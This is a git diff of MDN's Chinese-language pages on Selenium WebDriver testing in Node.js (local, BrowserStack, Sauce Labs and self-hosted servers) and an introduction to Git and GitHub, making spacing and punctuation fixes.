-#Add WebDriver browser drivers to PATH export PATH=$PATH:/Users/bob- 保存并关闭文件, 然后重启命令终端以生效Bash的配置。
-- 在命令终端上敲下面命令,查看新的路径是否已经添加到
PATH
变量中: +- 保存并关闭文件,然后重启命令终端以生效 Bash 的配置。
+- 在命令终端上敲下面命令,查看新的路径是否已经添加到
PATH
变量中:echo $PATH- 你应该可以在打印出来的信息中找到。
在Windows下设置
+PATH
变量, 参考 如何添加一个新的文件目录到系统路径?在 Windows 下设置
PATH
变量,参考 如何添加一个新的文件目录到系统路径?OK,现在我们来做一个快速的测试来验证一下一切是否正常。
-
- 在你的工程目录下创建一个新的文件
-google_test.js
:- 将下面代码复制到文件中保存: +
- 将下面代码复制到文件中保存:
var webdriver = require('selenium-webdriver'), By = webdriver.By, until = webdriver.until; @@ -119,7 +119,7 @@在Node下建立Selenium
你会看到Firefox自动打开了一个窗口!Google自动加载到tab中,"webdriver" 被输入到搜索框,然后搜索按钮被点击。WebDriver 等待2秒; 然后获取文本标题, 如果标题是"webdriver - Google Search", 将返回测试成功的消息。然后WebDriver 关闭 Firefox 窗口并结束。
+你会看到 Firefox 自动打开了一个窗口!Google 自动加载到 tab 中,"webdriver" 被输入到搜索框,然后搜索按钮被点击。WebDriver 等待 2 秒; 然后获取文本标题,如果标题是"webdriver - Google Search", 将返回测试成功的消息。然后 WebDriver 关闭 Firefox 窗口并结束。
一次测试多个浏览器
@@ -127,7 +127,7 @@一次测试多个浏览器
-
- 在你的工程目录下创建另外一个新文件
-google_test_multiple.js
.你可以根据实际需要测试的浏览器情况,对我们添加的浏览器进行修改或删除等操作。但确保系统安装了正确的浏览器驱动。关于如何填写.forBrowser()
方法中对浏览器描述的字符串,请参考 Browser enum .- 将下面代码复制到文件中保存: +
- 将下面代码复制到文件中保存:
-var webdriver = require('selenium-webdriver'), By = webdriver.By, until = webdriver.until; @@ -166,45 +166,45 @@一次测试多个浏览器
driver.quit(); }- 在终端上,记住在你的工程目录下,输入如下命令: +
- 在终端上,记住在你的工程目录下,输入如下命令:
-node google_test_multiple- 如果你用的是Mac测试Safari,可能会产生一个错误信息: "Could not create a session: You must enable the 'Allow Remote Automation' option in Safari's Develop menu to control Safari via WebDriver." 如果是这样,根据指示重新尝试一遍。
+- 如果你用的是 Mac 测试 Safari,可能会产生一个错误信息: "Could not create a session: You must enable the 'Allow Remote Automation' option in Safari's Develop menu to control Safari via WebDriver." 如果是这样,根据指示重新尝试一遍。
现在,我们像上次一样完成了测试,这一次浏览器的测试代码放到了
+searchTest()
函数中。我们对多个浏览器创建了新的浏览器实例,然后将每一个实例传递给函数,这样就可以在3个浏览器下执行测试!现在,我们像上次一样完成了测试,这一次浏览器的测试代码放到了
-searchTest()
函数中。我们对多个浏览器创建了新的浏览器实例,然后将每一个实例传递给函数,这样就可以在 3 个浏览器下执行测试!有意思吧? 接下来我们继续,来了解一下WebDriver 的语法基础。
+有意思吧?接下来我们继续,来了解一下 WebDriver 的语法基础。
-WebDriver语法速成课程
+WebDriver 语法速成课程
-现在我们来看一下webdriver的一些关键语法。更完整的细节,可以参考selenium-webdriver JavaScript API 参考 , 以及 Selenium 主要的文档Selenium WebDriver 和 WebDriver: 高级使用手册 , 里面有用不同语言编写的丰富的学习示例。
+现在我们来看一下 webdriver 的一些关键语法。更完整的细节,可以参考selenium-webdriver JavaScript API 参考 , 以及 Selenium 主要的文档Selenium WebDriver 和 WebDriver: 高级使用手册 , 里面有用不同语言编写的丰富的学习示例。
启动一个新的测试
-要启动一次新的测试,你需要包含如下的
+selenium-webdriver
代码模块:要启动一次新的测试,你需要包含如下的
selenium-webdriver
代码模块:var webdriver = require('selenium-webdriver'), By = webdriver.By, until = webdriver.until;-接下来, 通过
+new webdriver.Builder()
构造器来创建一个新的驱动实例,通过forBrowser()
方法指定测试的浏览器类型,最后调用build()
来实际创建它。 (查看 Builder class reference 了解更多).接下来,通过
new webdriver.Builder()
构造器来创建一个新的驱动实例,通过forBrowser()
方法指定测试的浏览器类型,最后调用build()
来实际创建它。 (查看 Builder class reference 了解更多).var driver = new webdriver.Builder() .forBrowser('firefox') .build();-在
+forBrowser()
中,你还可以设置浏览器的更多配置选项,如版本和操作系统:在
forBrowser()
中,你还可以设置浏览器的更多配置选项,如版本和操作系统:var driver = new webdriver.Builder() .forBrowser('firefox', '46', 'MAC') .build();-你还可以通过设置环境变量的方式来配置这些选项,如:
+你还可以通过设置环境变量的方式来配置这些选项,如:
-SELENIUM_BROWSER=firefox:46:MAC
让我们来创建一个新的测试验证一下。在你的 selenium 测试工程目录下, 新建一个文件
+quick_test.js
, 将下面代码赋值进去:让我们来创建一个新的测试验证一下。在你的 selenium 测试工程目录下,新建一个文件
quick_test.js
, 将下面代码赋值进去:var webdriver = require('selenium-webdriver'), By = webdriver.By, @@ -214,9 +214,9 @@-启动一个新的测试
.forBrowser('firefox') .build();获取测试的document
+获取测试的 document
-通过刚创建的驱动实例的
+get()
方法,加载你需要测试的网页:通过刚创建的驱动实例的
get()
方法,加载你需要测试的网页:driver.get('http://www.google.com');@@ -224,7 +224,7 @@获取测试的document
注意: 可以查看 WebDriver class reference 了解这一部分提到内容的详情。
-你可以使用包含
+file://
的 URL 来指向需要测试的本地文件:你可以使用包含
file://
的 URL 来指向需要测试的本地文件:driver.get('file:///Users/chrismills/git/learning-area/tools-testing/cross-browser-testing/accessibility/fake-div-buttons.html');@@ -234,43 +234,43 @@获取测试的document
使用一个远程的服务器地址代码会更灵活 — 当你启用远程服务器运行测试时,如果企图使用本地路径,代码会中断。
-现在添加下面代码到
+quick_test.js
的最后:现在添加下面代码到
quick_test.js
的最后:driver.get('http://mdn.github.io/learning-area/tools-testing/cross-browser-testing/accessibility/native-keyboard-accessibility.html');-同document交互
+同 document 交互
-得到测试的 document 后,我们就需要同它进行交互操作了,比如获取特定的元素对它进行某种测试。WebDriver提供了通过多种方法选择UI元素,比如通过 ID, class, element name等等. 具体的选择通过
+findElement()
方法完成, 只需要将选择的元素作为参数传给它即可. 举例来说, 通过ID选择一个元素:得到测试的 document 后,我们就需要同它进行交互操作了,比如获取特定的元素对它进行某种测试。WebDriver 提供了通过多种方法选择 UI 元素,比如通过 ID, class, element name 等等。具体的选择通过
findElement()
方法完成,只需要将选择的元素作为参数传给它即可。举例来说,通过 ID 选择一个元素:var element = driver.findElement(By.id('myElementId'));-通过CSS查找一个元素的最常用方法是使用 By.css 方法,它可以通过CSS选择器的方式来选择元素。把下面代码敲到
+quick_test.js
的最后面:通过 CSS 查找一个元素的最常用方法是使用 By.css 方法,它可以通过 CSS 选择器的方式来选择元素。把下面代码敲到
quick_test.js
的最后面:var button = driver.findElement(By.css('button:nth-of-type(1)'));-测试element
+测试 element
-同 web documents 和 elements 交互的方式很多. 在WebDriver的文档中有很多常用的例子,你可以从获取文本值开始。
+同 web documents 和 elements 交互的方式很多。在 WebDriver 的文档中有很多常用的例子,你可以从获取文本值开始。
-比如获取button上的文本,可以这样操作:
+比如获取 button 上的文本,可以这样操作:
button.getText().then(function(text) { console.log('Button text is \'' + text + '\''); });-把这段代码也添加到
+quick_test.js
中.把这段代码也添加到
quick_test.js
中。在你的工程目录下,运行测试:
node quick_test.js-你可以看到button的文本标签打印到控制台。
+你可以看到 button 的文本标签打印到控制台。
现在进一步尝试一下。将上面输入的代码删除,然后添加下面的这行代码:
button.click();-重新运行测试;button被点击,你会看到alert()框弹出来,这样就知道button是正常工作的。
+重新运行测试;button 被点击,你会看到 alert() 框弹出来,这样就知道 button 是正常工作的。
你还可以与弹出框进行交互。将下面代码添加到代码最后,再运行一下测试:
@@ -282,12 +282,12 @@测试element
alert.accept(); -接下来, 我们试一下在表单的一个元素中输入文本。添加如下代码并运行测试:
+接下来,我们试一下在表单的一个元素中输入文本。添加如下代码并运行测试:
var input = driver.findElement(By.id('input1')); input.sendKeys('Filling in my form');-你可以提交一些使用常规
+webdriver.Key
属性不能代表的按键操作。举个例子,下面我们使用指令在提交前将tab从input移走:你可以提交一些使用常规
webdriver.Key
属性不能代表的按键操作。举个例子,下面我们使用指令在提交前将 tab 从 input 移走:driver.sleep(1000).then(function() { driver.findElement(By.name('q')).sendKeys(webdriver.Key.TAB); @@ -296,9 +296,9 @@-测试element
等待操作完成
-有时候,在进行下一步处理之前我们需要WebDriver等待一些操作完成。比如装载一个新的页面,在与页面元素交互之前,需要等待DOM完成加载,否则测试有可能会失败.
+有时候,在进行下一步处理之前我们需要 WebDriver 等待一些操作完成。比如装载一个新的页面,在与页面元素交互之前,需要等待 DOM 完成加载,否则测试有可能会失败。
-例如在
+google_test.js
中, 有这样一段代码块:例如在
google_test.js
中,有这样一段代码块:driver.sleep(2000).then(function() { driver.getTitle().then(function(title) { @@ -310,7 +310,7 @@-等待操作完成
}); });+
sleep()
方法的参数指明需要等待的毫秒时间 — 然后在时间完成时,调用then()
内的代码块. 在这里例子中,我们通过getTitle()
方法获得当前页面的title,然后根据title的值返回成功或失败的消息.
sleep()
方法的参数指明需要等待的毫秒时间 — 然后在时间完成时,调用then()
内的代码块。在这里例子中,我们通过getTitle()
方法获得当前页面的 title,然后根据 title 的值返回成功或失败的消息。添加一个
@@ -323,7 +323,7 @@sleep()
方法到我们的quick_test.js
中 — 将最后的代码修改成如下代码块:等待操作完成
}); });WebDriver 等待2秒然后填充表单的文本框. 接下来我们使用
+getAttribute()
获取它的value
属性值,并对它进行测试(如是否为空),最后将测试结果打印出来.WebDriver 等待 2 秒然后填充表单的文本框。接下来我们使用
getAttribute()
获取它的value
属性值,并对它进行测试(如是否为空),最后将测试结果打印出来。注意: 还有一个方法叫
@@ -331,7 +331,7 @@wait()
, 它是在一定的时间内对某个条件进行反复测试,然后再继续执行代码,它也使用了 util 库, 其中定义了使用wait()的常见条件
.等待操作完成
使用后关闭驱动
-完成一次测试后,需要关闭所有打开的驱动实例,确保你的机器上不会出现一堆泛滥的浏览器实例。只需要调用驱动实例的
+quit()
方法即可。现在将下面这行代码添加到你的quick_test.js
最后:完成一次测试后,需要关闭所有打开的驱动实例,确保你的机器上不会出现一堆泛滥的浏览器实例。只需要调用驱动实例的
quit()
方法即可。现在将下面这行代码添加到你的quick_test.js
最后:driver.quit();@@ -339,25 +339,25 @@使用后关闭驱动
测试最佳实践
-有很多编写最佳测试的实践方法,你可以参考测试设计考虑来了解一些背景. 总的来说,测试应该遵循如下几点:
+有很多编写最佳测试的实践方法,你可以参考测试设计考虑来了解一些背景。总的来说,测试应该遵循如下几点:
-
-- 使用好的定位策略: 当你同document交互时,确保你使用的定位器和页面对象是不变的 — 如对元素进行测试, 确保这个元素有固定的ID或页面位置,这样可以通过CSS选择器定位到它,不至于在下一个迭代就发生变化。尽可能让你的测试稳健,而不是有一点改动就会break。
-- 写原子测试: 一个测试只测一件事,这样有利于跟踪哪一个测试文件执行的是哪种测试。举例来说, 前面的
+google_test.js
就只测试了一个简单的用例 — 页面的搜索结果标题是否正确。我们可以给它改一个名字,这样当我们添加更多的测试文件时它的作用会更直观 ,比如改为results_page_title_set_correctly.js
。- 使用好的定位策略:当你同 document 交互时,确保你使用的定位器和页面对象是不变的 — 如对元素进行测试,确保这个元素有固定的 ID 或页面位置,这样可以通过 CSS 选择器定位到它,不至于在下一个迭代就发生变化。尽可能让你的测试稳健,而不是有一点改动就会 break。
+- 写原子测试:一个测试只测一件事,这样有利于跟踪哪一个测试文件执行的是哪种测试。举例来说,前面的
google_test.js
就只测试了一个简单的用例 — 页面的搜索结果标题是否正确。我们可以给它改一个名字,这样当我们添加更多的测试文件时它的作用会更直观,比如改为results_page_title_set_correctly.js
。- 写独立的测试:每一个测试只需要自己执行,不需要依赖其它的测试。
除此之外,我们还要提一下测试结果/测试报告 — 在前面的例子中,我们只是简单的把测试结果通过
+console.log()
语句打印出来,这个完全只在JavaScript中完成, 你可以使用任何你想要的测试运行和报告系统,如Mocha/Chai/或者其它的组合。除此之外,我们还要提一下测试结果/测试报告 — 在前面的例子中,我们只是简单的把测试结果通过
console.log()
语句打印出来,这个完全只在 JavaScript 中完成,你可以使用任何你想要的测试运行和报告系统,如Mocha/Chai/或者其它的组合。-
- 举个例子, 将
-mocha_test.js
拷贝到你的工程目录下. 把它放到一个叫做test
的子文件夹内,这个例子使用了一长串的promise来执行测试的所有步骤 — WebDriver 使用这些基于 promise 的方法保证正常工作.- 执行下面的命令在你的工程目录下安装mocha测试工具: +
- 举个例子,将
+mocha_test.js
拷贝到你的工程目录下。把它放到一个叫做test
的子文件夹内,这个例子使用了一长串的 promise 来执行测试的所有步骤 — WebDriver 使用这些基于 promise 的方法保证正常工作。- 执行下面的命令在你的工程目录下安装 mocha 测试工具:
-npm install --save-dev mocha- 然后通过下面的命令运行测试(所有你放到test目录下的测试): +
- 然后通过下面的命令运行测试(所有你放到 test 目录下的测试):
-mocha --no-timeouts- 使用
+--no-timeouts
参数确保测试不会因Mocha的3秒超时时限而中途失败退出。- 使用
--no-timeouts
参数确保测试不会因 Mocha 的 3 秒超时时限而中途失败退出。@@ -370,11 +370,11 @@运行远程测试
BrowserStack
-在BrowserStack 进行Selenium远程测试很简单,参考下面的代码示例:
+在 BrowserStack 进行 Selenium 远程测试很简单,参考下面的代码示例:
-
-- 在你的工程目录下, 新建一个文件
-bstack_google_test.js
.- 复制下面内容: +
- 在你的工程目录下,新建一个文件
+bstack_google_test.js
.- 复制下面内容:
-var webdriver = require('selenium-webdriver'), By = webdriver.By, until = webdriver.until; @@ -418,45 +418,45 @@BrowserStack
driver.quit();- 在 BrowserStack automation dashboard, 获取你的用户名和Key (查看 Username 和 Access Keys),替换代码中
-YOUR-USER-NAME
和YOUR-ACCESS-KEY
的对应值。(确保它们依然安全).- 执行下面命令: +
- 在 BrowserStack automation dashboard, 获取你的用户名和 Key (查看 Username 和 Access Keys),替换代码中
+YOUR-USER-NAME
和YOUR-ACCESS-KEY
的对应值。(确保它们依然安全).- 执行下面命令:
-node bstack_google_test- 测试被发送给 BrowserStackces, 测试结果会返回到你的控制台. 这体现了包含报告机制的重要性!- 现在回到 BrowserStack automation dashboard 页面, 你会看到测试列出来的结果:
+
+ 测试被发送给 BrowserStackces, 测试结果会返回到你的控制台。这体现了包含报告机制的重要性!- 现在回到 BrowserStack automation dashboard 页面,你会看到测试列出来的结果:
点击测试链接, 会打开一个屏幕播放记录了测试的视频,和在测试过程中相关的log详情。
+点击测试链接,会打开一个屏幕播放记录了测试的视频,和在测试过程中相关的 log 详情。
-Note: Browserstack 自动化仪表盘的Resources菜单选项上 提供了许多运行自动化测试的有用信息。查看 关于 Node JS编写自动化测试的文档 获取相关信息. 研究一下使用 BrowserStack可以帮你做到哪些事情.
+Note: Browserstack 自动化仪表盘的 Resources 菜单选项上 提供了许多运行自动化测试的有用信息。查看 关于 Node JS 编写自动化测试的文档 获取相关信息。研究一下使用 BrowserStack 可以帮你做到哪些事情。
-注意: 如果你不想自己写测试用例,可以使用docs中嵌入的生成器, 查看 在手机浏览器上运行测试和在桌面浏览器上运行测试.
+注意: 如果你不想自己写测试用例,可以使用 docs 中嵌入的生成器,查看 在手机浏览器上运行测试和在桌面浏览器上运行测试.
编程填充 BrowserStack 的测试详情
-使用BrowserStack REST API 和其它功能可以给测试添加更多详情,如测试是否通过,为什么通过,测试属于工程的哪个部分等,BrowserStack 默认并没有这些细节!
+使用 BrowserStack REST API 和其它功能可以给测试添加更多详情,如测试是否通过,为什么通过,测试属于工程的哪个部分等,BrowserStack 默认并没有这些细节!
-让我们来更新一下
+bstack_google_test.js
示例,看看它们是怎样运作的:让我们来更新一下
bstack_google_test.js
示例,看看它们是怎样运作的:-
-- 首先, 导入node 需要的模块, 用来发送requests 给 REST API.在代码的顶端添加如下语句: +
- 首先,导入 node 需要的模块,用来发送 requests 给 REST API.在代码的顶端添加如下语句:
-var request = require("request");- 现在更新一下
capabilities
对象,添加工程名 — 在右大括号前添加下面代码, 记得要在上一行末增加一个逗号(在 BrowserStack 自动化仪表盘上,你可以修改 build 和 project 名称来组织不同窗口下的测试): +- 现在更新一下
-capabilities
对象,添加工程名 — 在右大括号前添加下面代码,记得要在上一行末增加一个逗号 (在 BrowserStack 自动化仪表盘上,你可以修改 build 和 project 名称来组织不同窗口下的测试):'project' : 'Google test 2'- 接下来获取当前会话的
sessionId
, 就知道往哪儿发送 request ( 后面你会看到,ID 包含在request 的URL中). 将下面代码添加到创建driver
对象 (var driver ...
) 的代码块下面: +- 接下来获取当前会话的
-sessionId
, 就知道往哪儿发送 request ( 后面你会看到,ID 包含在 request 的 URL 中). 将下面代码添加到创建driver
对象 (var driver ...
) 的代码块下面:var sessionId; driver.session_.then(function(sessionData) { sessionId = sessionData.id_; });- 最后, 修改下面
driver.sleep(2000)
... 的代码,添加 REST API 调用 (同样,使用你的真实用户名和key替换YOUR-USER-NAME
和YOUR-ACCESS-KEY
的值): +- 最后,修改下面
driver.sleep(2000)
... 的代码,添加 REST API 调用 (同样,使用你的真实用户名和 key 替换YOUR-USER-NAME
和YOUR-ACCESS-KEY
的值):driver.sleep(2000).then(function() { driver.getTitle().then(function(title) { if(title === 'webdriver - Google Search') { @@ -471,19 +471,19 @@编程填充 BrowserStack
代码很直观 — 测试一完成, 就会发送一个 API 调用到 BrowserStack 来更新测试状态是通过还是完成,并且给出相关的原因。
+代码很直观 — 测试一完成,就会发送一个 API 调用到 BrowserStack 来更新测试状态是通过还是完成,并且给出相关的原因。
-现在回到 BrowserStack 自动化仪表盘 页面, 你会看到测试会话如之前一样正常运行,并且增加了更新的数据:
+现在回到 BrowserStack 自动化仪表盘 页面,你会看到测试会话如之前一样正常运行,并且增加了更新的数据:
Sauce Labs
-在Sauce Labs 远程运行Selenium测试与在BrowserStack一样简单, 尽管它们有一些语法的差异. 代码示例如下:
+在 Sauce Labs 远程运行 Selenium 测试与在 BrowserStack 一样简单,尽管它们有一些语法的差异。代码示例如下:
-
@@ -537,34 +537,34 @@- 在你的工程目录下, 新建一个文件
-sauce_google_test.js
.- 复制下面内容: +
- 在你的工程目录下,新建一个文件
+sauce_google_test.js
.- 复制下面内容:
-var webdriver = require('selenium-webdriver'), By = webdriver.By, until = webdriver.until, @@ -524,11 +524,11 @@Sauce Labs
driver.quit();- 从你的 Sauce Labs 用户设置, 获取你的用户名和key. 并替换代码中对于
-YOUR-USER-NAME
和YOUR-ACCESS-KEY
的值 (确保它们依然安全).- 执行如下命令运行测试: +
- 从你的 Sauce Labs 用户设置, 获取你的用户名和 key. 并替换代码中对于
+YOUR-USER-NAME
和YOUR-ACCESS-KEY
的值 (确保它们依然安全).- 执行如下命令运行测试:
-node sauce_google_test- 测试会被发送到, 并返回相应的测试结果到你的控制台. 这体现了包含报告机制的重要性!- 现在访问你的 Sauce Labs 自动化测试仪表盘 页面, 会看到列出的测试; 同样你也可以看到视频、截屏和其他类似的数据。
+
+ 测试会被发送到,并返回相应的测试结果到你的控制台。这体现了包含报告机制的重要性!- 现在访问你的 Sauce Labs 自动化测试仪表盘 页面,会看到列出的测试; 同样你也可以看到视频、截屏和其他类似的数据。
Sauce Labs
-注意: 你可以查看 使用 Selenium 进行Web自动化测试, 和 实时 Selenium Node.js 测试获取更多关于Sauce Labs和Selenium测试的有用信息。
+注意: 你可以查看 使用 Selenium 进行 Web 自动化测试, 和 实时 Selenium Node.js 测试获取更多关于 Sauce Labs 和 Selenium 测试的有用信息。
编程填充 Sauce Labs 的测试详情
-使用Sauce Labs API 可以给测试添加更多详情,如测试是否通过,测试名称等等,Sauce Labs 默认并没有这些细节!
+使用 Sauce Labs API 可以给测试添加更多详情,如测试是否通过,测试名称等等,Sauce Labs 默认并没有这些细节!
-示例如下:
+示例如下:
- 安装 Node Sauce Labs 套件 (如果你之前没有运行过):
-npm install saucelabs --save-dev
- Require saucelabs — 在
sauce_google_test.js
文件顶端, 就在之前的变量声明下面添加如下代码: +- Require saucelabs — 在
-sauce_google_test.js
文件顶端,就在之前的变量声明下面添加如下代码:var SauceLabs = require('saucelabs');
- 接着添加如下代码,创建一个新的SauceLabs实例: +
- 接着添加如下代码,创建一个新的 SauceLabs 实例:
-var saucelabs = new SauceLabs({ username : "YOUR-USER-NAME", password : "YOUR-ACCESS-KEY" });- 同样, 用真实的用户名和key来替换YOUR-USER-NAME
和YOUR-ACCESS-KEY
的值 (注意 saucelabs 的npm 包使用的是password
, 而不是accessKey
). Since you are using these twice now, you may want to create a couple of helper variables to store them in.- 在
+driver
变量定义的下方(就在build()
行后面), 添加下面代码块 — 获取正确的驱动sessionID
来将数据写入进程 (在后面的代码中操作): + 同样,用真实的用户名和 key 来替换YOUR-USER-NAME
和YOUR-ACCESS-KEY
的值 (注意 saucelabs 的 npm 包使用的是password
, 而不是accessKey
). Since you are using these twice now, you may want to create a couple of helper variables to store them in.- 在
-driver
变量定义的下方 (就在build()
行后面), 添加下面代码块 — 获取正确的驱动sessionID
来将数据写入进程 (在后面的代码中操作):driver.getSession().then(function (sessionid){ driver.sessionID = sessionid.id_; });- 最后,将代码末尾的 replace the
driver.sleep(2000)
... 替换如下: +- 最后,将代码末尾的 replace the
driver.sleep(2000)
... 替换如下:driver.sleep(2000).then(function() { driver.getTitle().then(function(title) { if(title === 'webdriver - Google Search') { @@ -586,47 +586,47 @@编程填充 Sauce Labs 的
这里,我们根据测试结果是通过或失败,将
-testPassed
变量设置为true
或false
, 然后使用saucelabs.updateJob()
方法来更新详情。回到 Sauce Labs 自动化测试仪表盘 页面, 你会看到新的进程更新了信息:
+回到 Sauce Labs 自动化测试仪表盘 页面,你会看到新的进程更新了信息:
您自己的远程服务器
-如果你不想使用Sauce Labs或BrowserStack之类的服务,你也可以设置自己的远程测试服务器。具体操作如下:
+如果你不想使用 Sauce Labs 或 BrowserStack 之类的服务,你也可以设置自己的远程测试服务器。具体操作如下:
-
-- Selenium 的远端服务器要求运行Java,从 Java SE下载页面下载适合你平台的最新JDK并安装.
-- 接着, 下载最新的 Selenium 单机服务器 — 它作为你的脚本和浏览器驱动之间的一个代理. 选择最新的稳定版本 (比如不要选一个 beta版本), 从列表中选择以 "selenium-server-standalone"开头的文件. 下载完成后,放到一个靠谱的地方,比如home目录下. 如果你还没有将位置添加到
+PATH
, 现在就需要添加了(查看 "在Node中创建 Selenium"章节).- Selenium 的远端服务器要求运行 Java,从 Java SE 下载页面下载适合你平台的最新 JDK 并安装。
+- 接着,下载最新的 Selenium 单机服务器 — 它作为你的脚本和浏览器驱动之间的一个代理。选择最新的稳定版本 (比如不要选一个 beta 版本), 从列表中选择以 "selenium-server-standalone"开头的文件。下载完成后,放到一个靠谱的地方,比如 home 目录下。如果你还没有将位置添加到
PATH
, 现在就需要添加了 (查看 "在 Node 中创建 Selenium"章节).- 在作为服务器的电脑终端上执行如下代码,安装单机版服务器
-(修改java -jar
selenium-server-standalone-3.0.0.jar.jar
文件名为你获取的文件名称)- 服务会运行在
+http://localhost:4444/wd/hub
— 你可以去试试看是什么效果.- 服务会运行在
http://localhost:4444/wd/hub
— 你可以去试试看是什么效果。现在服务器运行起来了,让我们在selenium服务器上来创建一个demo测试.
+现在服务器运行起来了,让我们在 selenium 服务器上来创建一个 demo 测试。
-
-- 复制
+google_test.js
文件, 改名为google_test_remote.js
; 放到工程目录下.- 复制
google_test.js
文件,改名为google_test_remote.js
; 放到工程目录下。- 将第二段代码 (
-var driver =
开头的代码段) 修改如下var driver = new webdriver.Builder() .forBrowser('firefox') .usingServer('http://localhost:4444/wd/hub') .build();- 运行测试,你会看到它如期执行 ; 只不过这次是在服务器端: +
- 运行测试,你会看到它如期执行 ; 只不过这次是在服务器端:
node google_test_remote.js是不是很酷. 我们是在本地测试的,但你可以任何一台服务器上使用相关的浏览器驱动进行测试,使用相应的URL将你的脚本和服务器连接起来就可以了.
+是不是很酷。我们是在本地测试的,但你可以任何一台服务器上使用相关的浏览器驱动进行测试,使用相应的 URL 将你的脚本和服务器连接起来就可以了。
-将selenium和CI工具集成
+将 selenium 和 CI 工具集成
-另外,将Selenium同Sauce Labs之类的其它工具集成到持续集成(CI)工具中是很有用的,这意味着你可以通过CI工具来运行测试,只有测试通过才允许提交代码的修改。
+另外,将 Selenium 同 Sauce Labs 之类的其它工具集成到持续集成(CI)工具中是很有用的,这意味着你可以通过 CI 工具来运行测试,只有测试通过才允许提交代码的修改。
-在这里不对这个话题进行深入探讨,但是我们建议你从Travis CI开始 — 这大概是最容易入门的CI工具了,它与GitHub和Node等web工具都有很好的集成。
+在这里不对这个话题进行深入探讨,但是我们建议你从 Travis CI 开始 — 这大概是最容易入门的 CI 工具了,它与 GitHub 和 Node 等 web 工具都有很好的集成。
-作为入门, 可以查看一些例子:
+作为入门,可以查看一些例子:
-
- Travis CI for complete beginners
diff --git a/files/zh-cn/learn/tools_and_testing/github/index.html b/files/zh-cn/learn/tools_and_testing/github/index.html index 6f787da8127559..fbbbc184ae1a92 100644 --- a/files/zh-cn/learn/tools_and_testing/github/index.html +++ b/files/zh-cn/learn/tools_and_testing/github/index.html @@ -15,13 +15,13 @@主要介绍
- 我们很少独自完成一个项目,而在分工合作的同时我们都会有与他人的工作相冲突的风险:尤其是当两个人同时尝试修改同一段代码的时候。所以我们需要有相应的机制用以避免这种情况。
- 在开发一个项目的时候,我们希望能将代码及时保存,这样就可以避免像电脑突然崩溃辛苦全部白费这样的尴尬局面。
- 如果后期发现了问题,我们可能还会需要退回更早的版本。有的小朋友也许想到可以通过创建一堆
-myCode.js
,myCode_v2.js
,myCode_v3.js
,myCode_final.js
,myCode_really_really_final.js
之类的文件用于保存历史版本,但这个方法不妥,容易出错。- 不同的团队成员也会需要创建他们自己的独特的版本(在Git中叫做branches (分支)),他们在这里添加一些新的功能特性,然后通过一些可控的方法(在 GitHub 中我们使用 pull request (拉取请求))将它们贡献到原来的主干项目中。
+- 不同的团队成员也会需要创建他们自己的独特的版本(在 Git 中叫做branches (分支)),他们在这里添加一些新的功能特性,然后通过一些可控的方法(在 GitHub 中我们使用 pull request (拉取请求))将它们贡献到原来的主干项目中。
版本控制系统提供了能够满足以上需求的工具。Git 是版本控制系统的典范,而 GitHub 是一个为个人或团队操作 Git 储存库 ( Git Repositories) 提供了 Git 服务器和一系列非常实用的工具的网站+基础设施。它提供了报告代码错误、检查工具以及分配任务和任务状态等项目管理工具等等。
+版本控制系统提供了能够满足以上需求的工具。Git 是版本控制系统的典范,而 GitHub 是一个为个人或团队操作 Git 储存库 ( Git Repositories) 提供了 Git 服务器和一系列非常实用的工具的网站 + 基础设施。它提供了报告代码错误、检查工具以及分配任务和任务状态等项目管理工具等等。
-温馨提示: Git 实际上是一个分散式的版本控制系统,这意味你和其他所有人的电脑上都可以有一个这个复制了这个项目所有源代码的储存库的副本。你在自己的副本上进行了修改,然后提交给服务器,在那里将由这个项目的管理者来决定是否将你的修改添加到主本中。
+温馨提示:Git 实际上是一个分散式的版本控制系统,这意味你和其他所有人的电脑上都可以有一个这个复制了这个项目所有源代码的储存库的副本。你在自己的副本上进行了修改,然后提交给服务器,在那里将由这个项目的管理者来决定是否将你的修改添加到主本中。
事先准备
@@ -30,7 +30,7 @@事先准备
@@ -47,31 +47,31 @@
- 安装了 Git 的台式电脑(详见 Git 下载网址)。
-- 用于使用 Git 的工具。你可以使用一个 Git 图形操作界面客户端 (我们推荐 GitHub Desktop 、 Source Tree 或者 Git Kraken)或者也可以直接使用命令行,这取决于你的喜好。事实上,尽管你打算使用图形界面进行操作,了解一些基本的 Git 命令行指令也或许会比较有用。
+- 用于使用 Git 的工具。你可以使用一个 Git 图形操作界面客户端 (我们推荐 GitHub Desktop、Source Tree 或者 Git Kraken)或者也可以直接使用命令行,这取决于你的喜好。事实上,尽管你打算使用图形界面进行操作,了解一些基本的 Git 命令行指令也或许会比较有用。
- GitHub 账户。如果还没有的话,现在就通过这个链接去注册一个吧!
带你入门
先提醒一下这些链接将会带你去访问一些外部资源。我们最终将致力于开发我们专属的 Git 和 GitHub 教程,但现在,这些资料将会带你轻松入门。
-
- Hello World【 欢迎来到新世界】 (来自 GitHub)
+- Hello World【欢迎来到新世界】 (来自 GitHub)
- 这里是开始使用 GitHub 的正大门,在这里你可以学到 Git 的基础操作,例如:创建储存库 (Repository) 和分支 (Brunch) 、确认提交 (commit) 以及打开和合并拉取请求 (open/merge Pull Request)。
-- Git Handbook 【使用手册】 (来自 GitHub)
+- Git Handbook【使用手册】 (来自 GitHub)
- 这个 Git 使用手册就稍微更深入一点了,它解释了什么是版本控制系统、什么是储存库 (Repository) 、 GitHub 模型如何运行、 Git 指令和示例等。
-- Forking Projects 【复刻项目】 (来自 GitHub)
+- Forking Projects【复刻项目】 (来自 GitHub)
- 当你想要对别人的代码做出贡献时,复刻(fork,即服务端代码仓库复制)是必不可少的步骤。这个链接将告诉你如何操作。
-- About Pull Requests 【关于拉取请求】 (来自 GitHub)
+- About Pull Requests【关于拉取请求】 (来自 GitHub)
- 这是一个管理拉取请求的有用的指南:你所修改的代码需要通过拉取请求来让项目的管理者决定是否采纳。
-- Mastering issues 【处理问题】 (来自 GitHub)
+- Mastering issues【处理问题】 (来自 GitHub)
- 问题区 (Issues) 就像是一个关于你这个 GitHub 项目的论坛,在这里人们可以提问题和报告错误,你可以管理更新(例如给人们分配需要解决的问题、澄清问题以及告知问题已经解决)。这篇文章会让你知道所需要的一些关于问题区的知识。
-温馨提示: 在 Git 和 GitHub 上面你还可以做一大堆事情,但我们认为,如果你想要有效地使用 Git ,上面的这些知识是至少应该具备的。当你更深入地了解 Git 时,你将会意识到,当你开始使用更加复杂的指令时会更容易出错。但不要担心,即使是专业的网络工程师有时都会感到困惑,并通过网络检索或 Flight rules for Git 和 Dangit, git! 这样的网站来寻找答案。
